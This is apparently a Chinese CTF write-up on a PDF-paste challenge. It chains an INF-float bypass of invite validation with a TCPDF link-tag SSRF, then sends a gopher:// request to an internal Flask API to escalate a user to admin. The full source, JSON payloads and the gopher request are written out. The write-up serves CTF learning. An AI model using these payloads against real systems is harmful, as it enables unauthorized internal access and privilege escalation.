从省赛某题到3KCTF探讨“TCPDF”

0x01 前言

今天刚打了一场广东省大学生网络安全竞赛,只能说这比赛十分垃j,这里不细说。但是其中有一题名为“mypdf”是从3KCTF中扒下来的题目,质量很好,值得审计记录,故有此文。

image-20250106175818800

原题:3kCTF-2021 ppaste

0x02 基本思路

拿到这道题的时候,一开始直接放弃了,因为太困了加上队友很给力,完全躺平等着带飞就好了,但是后来发现赛方不上新题加上肯定有很多人py,之前做完的题都被做烂了,于是收到队友的消息发现是原题且带详细解析,直接跑下床做题

image-20250106175806140

刚上手这题,扫到www.zip

image-20250106175740785

审计发现有点没搞懂路由,因为他给的是这样的附件

image-20250106175830446

结合了一下扫出的东西,发现根目录是设置为 html

然后在前一个目录下用 python 起了一个 8082 端口的服务

一开始注册的时候想着直接用 invites.txt 里面的注册码行不行,很明显不行

然后只能仔细分析咯

python服务

from flask import Flask,request
import sqlite3
from contextlib import closing
import json

app = Flask(__name__)

def qDB(query,qtype='fetchAll',username=''):	#读取数据库的,被/users路由引用
    with closing(sqlite3.connect("/var/www/db/mypdf.db")) as connection:
        with closing(connection.cursor()) as cursor:
            if(qtype=='fetchAll'):
                rows = cursor.execute(query).fetchall()
                return rows
            elif(qtype=='setAdmin' and username!=''):
                cursor.execute(
					    query,
					    (username,)
					)
               	connection.commit()
                return 1
    return 0


@app.route('/invites', methods=['GET', 'POST'])	#注册路由
def invites():
    if request.method == 'POST':
        myJson = json.loads(request.data)
        if(myJson['invite'] in open('/var/www/invites.txt').read().split('\n')):	#相当于判断你的邀请码对不对
            return json.dumps(True)	#成功返回True
        else:
            return json.dumps(False)
    return json.dumps(open('/var/www/invites.txt').read().split('\n'))


@app.route('/users', methods=['GET', 'POST'])	#后续用于提升user权限为admin
def users():
    if request.method == 'POST':
        myJson = json.loads(request.data)
        if(myJson['user']):	#存在user元素就继续走下去
        	qDB("UPDATE users SET priv=not(priv) WHERE user=? ","setAdmin",myJson['user'])	#提升权限
        	return json.dumps(True)
        else:
        	return json.dumps(False)
    return json.dumps(qDB("SELECT user,priv FROM users"))


@app.route('/')
def home():
    return 'internal console'


app.run(host='127.0.0.1', port=8082)

直接在上面注释,方便边阅读代码边理解了

common.php

<?php
session_start();
$db = new SQLite3('../db/mypdf.db');
function ci($i){
	return SQLite3::escapeString($i);
}
function sqlArray($q){
	global $db;
	$res = $db->query($q);
	$a=array();
	while ($row = $res->fetchArray(SQLITE3_ASSOC)) {
		$a[]=$row;
	}
	return $a;
}
function uExists($u){
	return (@count(@sqlArray("SELECT * FROM users WHERE user='".ci($u)."'")[0])>0)?True:False;
}
function puts($status,$data=NULL){
	header("Content-Type: application/json");
	echo json_encode(array(
							"STATUS"=>($status===1?"success":"error"),
							"DATA"=>($data!==NULL?$data:NULL)
						  )
					);
	exit;
}
function qInternal($endpoint,$payload=null){
	$url = 'http://localhost:8082/'.$endpoint;
	$ch = curl_init($url);
	curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type:application/json'));
	if($payload!==null){
		curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
	}
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
	$result = curl_exec($ch);
	curl_close($ch);
	return(@$result?$result:'false');
}

function whoami(){
	return @sqlArray("SELECT * FROM users WHERE user='".ci($_SESSION['usr']['user'])."' limit 0,1")[0];
}

function myPastes(){
	return @sqlArray("SELECT id,title,content FROM pastes WHERE user='".ci($_SESSION['usr']['user'])."'");
}

一目了然 qInternal 类可控 url 存在 ssrf ,其他类没啥用,不做分析

且 qInternal 类中指定了 8082 端口,一看就是要利用这个ssrf进行访问内网 8082 端口,打内网服务的

api.php

<?php
include 'common.php';
include '../flag.php';

if (@$_SERVER["REQUEST_METHOD"]!=="POST" OR @$_SERVER["CONTENT_TYPE"]!=="application/json") puts(0);

$uInput=@file_get_contents("php://input");
if(strlen($uInput)>512) puts(0);

$data = json_decode($uInput,true);
if(!is_array($data)) puts(0);

if(is_array(@$data['d'])){
	foreach ($data['d'] as $key => $value) {
		if(strlen($value)<4) puts(0);
	}
}

switch (@$data['action']) {
	case 'register':
		if(@$data['d']['user'] AND @$data['d']['pass']){
			if(!@$data['d']['invite']) puts(0);
			$checkInvite = @json_decode(@qInternal("invites",json_encode(array("invite"=>$data['d']['invite']))),true);
			if($checkInvite===FALSE) puts(0);
			if(uExists($data['d']['user'])) puts(0);
			$db->exec("INSERT INTO users(user,pass,priv) VALUES ('".ci($data['d']['user'])."' ,'".ci($data['d']['pass'])."' , '0')");
			if($db->lastInsertRowID()){
				puts(1);
			}else{
				puts(0);
			}
		}
		puts(0);
		break;
	case 'login':
		if(@$data['d']['user'] AND @$data['d']['pass']){
			$tU=@sqlArray("SELECT * FROM users WHERE user='".ci($data['d']['user'])."' limit 0,1")[0];
			if(@count($tU)<1) puts(0);
			if(@$data['d']['pass']!==$tU['pass']) puts(0);
			$_SESSION['usr']=$tU;
			puts(1);
		}
		puts(0);
		break;
	case 'pastes':
		$tU=whoami();
		if(!$tU) puts(0);
		puts(1,myPastes());
		break;
	case 'new':
		$tU=whoami();
		if(!$tU) puts(0);
		if(@$data['d']['title'] AND @$data['d']['content']){
			$data['d']['title'] = preg_replace("/\s+/", "", $data['d']['title']);
			$db->exec("INSERT INTO pastes(id,title,content,user) VALUES ('".sha1(microtime().$_SESSION['usr']['user'])."', '".ci($data['d']['title'])."' ,'".ci(($data['d']['content']))."' , '".ci($_SESSION['usr']['user'])."')");
			if($db->lastInsertRowID()){
				puts(1);
			}else{
				puts(0);
			}
		}
		puts(0);
		break;
	case 'view':
		if(@$data['d']['paste_id']){
			$tP=@sqlArray("SELECT * FROM pastes WHERE id='".ci($data['d']['paste_id'])."' limit 0,1")[0];
			if(@count($tP)<1) puts(0);
			puts(1,$tP);
		}
		puts(0);
		break;
	case 'download':
		if(@$data['d']['paste_id'] AND @$data['d']['type'] ){
			$tP=@sqlArray("SELECT * FROM pastes WHERE id='".ci($data['d']['paste_id'])."' limit 0,1")[0];
			if(@count($tP)<1) puts(0);
			if($data['d']['type']==='text'){
				header('Content-Type: text/plain');
				header('Content-Disposition: attachment; filename="'.sha1(time()).'.txt"');
				echo str_repeat("-", 80)."\n--------- ".$tP['title']."\n".str_repeat("-", 80)."\n".$tP['content'];
				exit;
			}
			if($data['d']['type']==='_pdf'){
				require_once('../TCPDF/config/tcpdf_config.php');
				require_once('../TCPDF/tcpdf.php');
				$pdf = new TCPDF(PDF_PAGE_ORIENTATION, PDF_UNIT, PDF_PAGE_FORMAT, true, 'UTF-8', false);
				$pdf->SetDefaultMonospacedFont(PDF_FONT_MONOSPACED);
				$pdf->SetMargins(PDF_MARGIN_LEFT, PDF_MARGIN_TOP, PDF_MARGIN_RIGHT);
				$pdf->SetFont('helvetica', '', 9);
				$pdf->AddPage();
				$html = '<h2>'.$tP['title'].'</h2><br><h2>'.str_repeat("-", 40).'</h2><pre>'.htmlentities($tP['content'],ENT_QUOTES).'</pre>';
				$pdf->writeHTML($html, true, 0, true, 0);
				$pdf->lastPage();
				$pdf->Output(sha1(time()).'.pdf', 'D');
				exit;
			}
		}
		puts(0);
		break;
	case 'admin':
		$tU=whoami();
		if(!@$tU OR @$tU['priv']!==1) puts(0);
		$ret["ok"]   =$flag;
		puts(1,$ret);
		break;
	default:
		puts(0);
		break;
}

puts(0);
exit;
?>

这段代码有点臭且长,主要只看以下部分(将上面的代码做精简):

<?php
include 'common.php';
include '../flag.php';

$uInput=@file_get_contents("php://input");	//使用$uInput接收传参
$data = json_decode($uInput,true);	//json_decode

if(is_array(@$data['d'])){
	foreach ($data['d'] as $key => $value) {	//对json传进来的值进行遍历赋值给$key和$value
		//$key负责接收元素名 $value接收元素值
		if(strlen($value)<4) puts(0);	//对元素值的长度得大于4
	}
}

switch (@$data['action']) {	//对传入的action进行分类判断

	case 'register':	//如果action的值为register
		if(@$data['d']['user'] AND @$data['d']['pass']){	//json嵌套json形式,判断key->user和pass是否存在
			if(!@$data['d']['invite']) puts(0);	//判断key->invite存在不
			$checkInvite = @json_decode(@qInternal("invites",json_encode(array("invite"=>$data['d']['invite']))),true);
			//将invites、$data['d']['invite']、true传入 qInternal
			//qInternal 就是我们前面说的ssrf点
			//接收:function qInternal($endpoint,$payload=null)
			//$endpoint 是拼接url达到利用ssrf访问python服务的点
			if($checkInvite===FALSE) puts(0);	//判断是不是返回FALSE
			//下面的都是进行添加用户的操作了
			if(uExists($data['d']['user'])) puts(0);
			//这里执行了插入语句,将 priv 设置为0
			$db->exec("INSERT INTO users(user,pass,priv) VALUES ('".ci($data['d']['user'])."' ,'".ci($data['d']['pass'])."' , '0')");
			if($db->lastInsertRowID()){
				puts(1);
			}else{
				puts(0);
			}
		}
		puts(0);
		break;

	case 'new':	//如果action的值为new
		$tU=whoami();
		if(!$tU) puts(0);
		if(@$data['d']['title'] AND @$data['d']['content']){	//判断key->title和content是不是空
			$data['d']['title'] = preg_replace("/\s+/", "", $data['d']['title']);	//进行一次正则匹配
			$db->exec("INSERT INTO pastes(id,title,content,user) VALUES ('".sha1(microtime().$_SESSION['usr']['user'])."', '".ci($data['d']['title'])."' ,'".ci(($data['d']['content']))."' , '".ci($_SESSION['usr']['user'])."')");
			if($db->lastInsertRowID()){
				puts(1);
			}else{
				puts(0);
			}
		}
		puts(0);
		break;

	case 'download':	//如果action的值为download
        if(@$data['d']['paste_id'] AND @$data['d']['type'] ){
            //some useless code....
            }
            if($data['d']['type']==='_pdf'){
                require_once('../TCPDF/config/tcpdf_config.php');
                require_once('../TCPDF/tcpdf.php');	//引用包含了我们的漏洞组件
                $pdf = new TCPDF(PDF_PAGE_ORIENTATION, PDF_UNIT, PDF_PAGE_FORMAT, true, 'UTF-8', false);
                $pdf->SetDefaultMonospacedFont(PDF_FONT_MONOSPACED);
                $pdf->SetMargins(PDF_MARGIN_LEFT, PDF_MARGIN_TOP, PDF_MARGIN_RIGHT);
                $pdf->SetFont('helvetica', '', 9);
                $pdf->AddPage();
                $html = '<h2>'.$tP['title'].'</h2><br><h2>'.str_repeat("-", 40).'</h2><pre>'.htmlentities($tP['content'],ENT_QUOTES).'</pre>';
                $pdf->writeHTML($html, true, 0, true, 0);
                $pdf->lastPage();
                $pdf->Output(sha1(time()).'.pdf', 'D');
                exit;
            }
        }
        puts(0);
        break;

	case 'admin':	//如果action的值为admin
		$tU=whoami();	//执行 common.php 下的 whoami 类
		if(!@$tU OR @$tU['priv']!==1) puts(0);	//这里对执行完whoami类进行判断是不是为空或者权限是不是admin
		$ret["ok"]   =$flag;	//输出flag!!!!!!!
		puts(1,$ret);
		break;
	default:
		puts(0);
		break;
}
?>

上面的代码很清楚,想要获得flag就得有admin权限

想要注册用户以及提升权限就得结合 common.php 和 internal.py 进行操作

api.php就相当于一个route路由控制器

0x03 注册绕过

想要admin权限,前提是有个账户吧,所以得注册

注册呢,又绕不开验证码,所以得想办法去bypass这个 invites

想看“控制器”如何进入路由访问到common.php

image-20250106175854096

这里的1、2、3、4步骤就是进入的代码了

显而易见可以构造

{"action":"register"}

进入路由还有个判断,继续构造

{
    "action":"register",
	"d":{
    	"user":"hehanzzz",
		"pass":"hehanzzz123",
		"invite":""
	}
}

比较sb的就是,我构造完才发现,原来有gui界面…还构造个卵子,但是上面有一点需要注意的是

最上面有一行 if(strlen($value)<4) puts(0); 所以所有的 value 长度要大于4

接下来就是绕过 invite 了,因为 invite 是从他服务器上读取的,没法利用www.zip下的invite,我们也没法直接读取

故需要bypass

Bypass json_encode

(这里直接抄文章的了)

json_encode在处理INF时会返回一个false,如下:

<?php
$f=3.3e99999999999999;
var_dump($f);
var_dump(json_encode(array("a"=>$f)));
//float(INF)
//bool(false)

那么这会使得其发送一个空的post请求给内网的api,此时因为接收不到request.data会导致500错误,此时curl得到的结果是NULL,而其判断是使用的:

return(@$result?$result:'false');

此时得到了一个NULL:

<?php
var_dump(json_decode("NULL",true));
//NULL

image-20250106175922048

payload:

{"action":"register","d":{"user":"hehanzzz","pass":"hehanzzz123","invite":-3.3e99999999999999}}

0x04 TCPDF 探究 及 Gopher协议SSRF打Flask服务

注册完后,回到主页面进行添加文章,我们可以看到文章详细页有个下载pdf,放入标题时,发现可以成功解析到html标签

$data['d']['title'] = preg_replace("/\s+/", "", $data['d']['title']);

但是这不是漏洞点,别忘记了这个题目的标题叫什么,故需要从download路由下手分析

case 'download':
        if(@$data['d']['paste_id'] AND @$data['d']['type'] ){
            //some useless code....
            }
            if($data['d']['type']==='_pdf'){
                require_once('../TCPDF/config/tcpdf_config.php');
                require_once('../TCPDF/tcpdf.php');
                $pdf = new TCPDF(PDF_PAGE_ORIENTATION, PDF_UNIT, PDF_PAGE_FORMAT, true, 'UTF-8', false);
                $pdf->SetDefaultMonospacedFont(PDF_FONT_MONOSPACED);
                $pdf->SetMargins(PDF_MARGIN_LEFT, PDF_MARGIN_TOP, PDF_MARGIN_RIGHT);
                $pdf->SetFont('helvetica', '', 9);
                $pdf->AddPage();
                $html = '<h2>'.$tP['title'].'</h2><br><h2>'.str_repeat("-", 40).'</h2><pre>'.htmlentities($tP['content'],ENT_QUOTES).'</pre>';
                $pdf->writeHTML($html, true, 0, true, 0);
                $pdf->lastPage();
                $pdf->Output(sha1(time()).'.pdf', 'D');
                exit;
            }
        }
        puts(0);
        break;

因为是跟html解析有关系,所以优先选择跟入writeHTML,writeHTML​类的代码太多了,只把主要的放出来分析

这里如何定位哪些是我们需要的,很简单,看哪些是我们可控的就好了

很明显可控的就是 $html , 所以我们只需要跟进去

在17272行可以找到

public function writeHTML($html, $ln=true, $fill=false, $reseth=false, $cell=false, $align='') {
	$dom = $this->getHtmlDomArray($html);
}

继续跟进 getHtmlDomArray

/**
 * 该函数用于从HTML内容中提取link标签中type为"text/css"且media为"all"或"print"的CSS属性。
 *
 * @param string $html 要解析的HTML内容。
 * @return array 包含从HTML link标签中提取的CSS属性的数组。
 */
protected function getHtmlDomArray($html) {
    $matches = array();
  
    // 正则表达式匹配HTML link标签
    if (preg_match_all('/<link([^\>]*)>/isU', $html, $matches) > 0) {
        foreach ($matches[1] as $key => $link) {
            $type = array();
          
            // 检查link标签是否包含type="text/css"
            if (preg_match('/type[\s]*=[\s]*"text\/css"/', $link, $type)) {
                $type = array();
              
                // 提取media属性值
                preg_match('/media[\s]*=[\s]*"([^"]*)"/', $link, $type);
              
                // 仅处理media为'all'或'print'的情况,丢弃其他media类型
                // (all, braille, embossed, handheld, print, projection, screen, speech, tty, tv)
                if (empty($type) OR (isset($type[1]) AND (($type[1] == 'all') OR ($type[1] == 'print')))) {
                    $type = array();
                  
                    // 提取href属性值(CSS文件的URL)
                    if (preg_match('/href[\s]*=[\s]*"([^"]*)"/', $link, $type) > 0) {
                        $href = trim($type[1]); // 提取到的CSS文件的URL
                      
                        // 读取CSS数据文件
                        $cssdata = TCPDF_STATIC::fileGetContents($href);
                      
                        // 如果CSS数据有效且非空,则提取CSS属性
                        if (($cssdata !== FALSE) AND (strlen($cssdata) > 0)) {
                            $css = array_merge($css, TCPDF_STATIC::extractCSSproperties($cssdata));
                        }
                    }
                }
            }
        }
    }
}

根据注释不难发现,匹配HTML link标签时,先匹配页面中所有符合外层正则link的html,检查link标签是否包含type=”text/css”,处理media为’all’或’print’的情况,丢弃其他media类型,提取href属性值

然后进入到关键的 TCPDF_STATIC 类下的 fileGetContents 函数中

image-20250106180117205

image-20250106180153370

image-20250106180231783

根据上图注释,我们也可以直接知道,1961行的 file_exists​ 方法是关键,因为他是后面 curl 的 url

跟进去看看

public static function file_exists($filename) {
	if (preg_match('|^https?://|', $filename) == 1  or preg_match('|^gopher://|', $filename) == 1) {
		return self::url_exists($filename);
	}
	if (strpos($filename, '://')) {
		return false; // only support http and https wrappers for security reasons
	}
	return @file_exists($filename);
}

这里会进行判断是否使用http或https协议以及 gopher协议

(这里就是与原题唯一的改动,至于为什么后续会说,一开始我也没关注到这里)

如果是上面的协议就进入 url_exists 方法

public static function url_exists($url) {
	$crs = curl_init();
	// encode query params in URL to get right response form the server
	$url = self::encodeUrlQuery($url);
	curl_setopt($crs, CURLOPT_URL, $url);
	curl_setopt($crs, CURLOPT_NOBODY, true);
	curl_setopt($crs, CURLOPT_FAILONERROR, true);
	//关键点来啦!!!
	if ((ini_get('open_basedir') == '') && (!ini_get('safe_mode'))) {
		curl_setopt($crs, CURLOPT_FOLLOWLOCATION, true);
	}

	curl_setopt($crs, CURLOPT_CONNECTTIMEOUT, 5);
	curl_setopt($crs, CURLOPT_TIMEOUT, 30);
	curl_setopt($crs, CURLOPT_SSL_VERIFYPEER, false);
	curl_setopt($crs, CURLOPT_SSL_VERIFYHOST, false);
	curl_setopt($crs, CURLOPT_USERAGENT, 'tc-lib-file');
	curl_exec($crs);
	$code = curl_getinfo($crs, CURLINFO_HTTP_CODE);
	curl_close($crs);
	return ($code == 200);
}

需要满足open_basedir==''​和没有设置safe_mode​,该方法将获取启用重定向的给定 URL

关键在于这两个点是php默认配置

所以前面的 gopher协议生效,可以ssrf打内网python服务

结合以下前面的拿flag条件,可以找到,要提升权限

因为前面注册用户的时候执行了 priv 为 0

$db->exec("INSERT INTO users(user,pass,priv) VALUES ('".ci($data['d']['user'])."

得去设置为1,即为提权为admin,即为触发python服务下的/users

仅通过正则表达式执行糟糕的协议,启用了重定向,可能会使用 GOPHER,因此我们可以与任何 protcol 进行原始 tcp 对话

根据 /users 路由:

@app.route('/users', methods=['GET', 'POST'])
def users():
    if request.method == 'POST':
        myJson = json.loads(request.data)
        if(myJson['user']):
            qDB("UPDATE users SET priv=not(priv) WHERE user=? ","setAdmin",myJson['user'])
            return json.dumps(True)
        else:
            return json.dumps(False)
    return json.dumps(qDB("SELECT user,priv FROM users"))

只需要传入一个存在user键的json串即可,即:

{"user":"USERMANE"}

所以payload为:

<linktype="text/css"href="http://[%YOUR_HOST%]/redirect">

在vps下设置gopher 的重定向,对内部 API 执行 POST 请求

location: gopher://localhost:8082/_POST%20%2Fusers%20HTTP%2F1.1%0AHost%3A%20localhost%0AContent-Length%3A%2024%0AContent-type%3A%20application%2Fjson%0A%0A%7B%22user%22%3A%22USERNAME%22%7D

然后请求

POST /api.php HTTP/1.1
Host: *
Content-Length: 18
Content-Type: application/json


{"action":"admin"}

即可得到flag

但是=.=

这台机器不出网,不能这么打

峰回路转

前面有提到过,这题与原题多了一个 gopher​ 协议的正则匹配

所以,我们可以直接利用 gopher​ 协议去打,不需要vps去配合跳转(所以它算是魔改了TCPDF组件来满足我们获取flag的条件)

故payload为:(需要注意的是,这里的user是另一个用户的,并未发送请求包的这个用户)

{"action":"new","d":{"title":"<linktype=\"text/css\"href=\"gopher://localhost:8082/_POST%20/users%20HTTP/1.1%0D%0AHost%3A%20localhost%0D%0AContent-Length%3A%2018%0D%0AContent-type%3A%20application/json%0D%0A%0D%0A%7B%22user%22%3A%22hhhm123%22%7D%0D%0A\">","content":"123123123123123123123"}}

image-20250106175939612

再去下载PDF进行触发,然后请求api.php,得到flag

image-20250106180002228

{"action":"admin"}

image-20250106180048775

这里的ok就是flag

0x05 参考文献